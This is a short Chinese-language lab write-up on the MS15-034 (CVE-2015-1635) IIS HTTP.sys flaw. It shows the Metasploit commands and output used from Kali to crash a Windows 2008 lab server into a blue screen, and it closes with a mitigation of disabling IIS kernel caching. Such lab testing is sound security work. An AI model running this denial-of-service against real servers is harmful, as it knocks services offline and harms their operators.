CVE-2015-1635(MS15-034 )进行DOS攻击

上一篇的文章方法进行检测漏洞是否存在，接着我们搭建win2008进行DOS攻击测试，导致服务器蓝屏，异常关机。

靶机：windows2008     IIS7.0    192.168.31.91

攻击机：Kali

攻击机进行访问靶机web界面：

可以正常访问，接着使用MSF进行攻击测试

msf auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > use auxiliary/dos/http/ms15_034_ulonglongadd 
msf auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.31.91
rhosts => 192.168.31.91
msf auxiliary(dos/http/ms15_034_ulonglongadd) > run

[*] DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

执行完毕后，看靶机界面情况，已蓝屏

 临时漏洞防御：

禁用IIS内核缓存（可能降低IIS性能）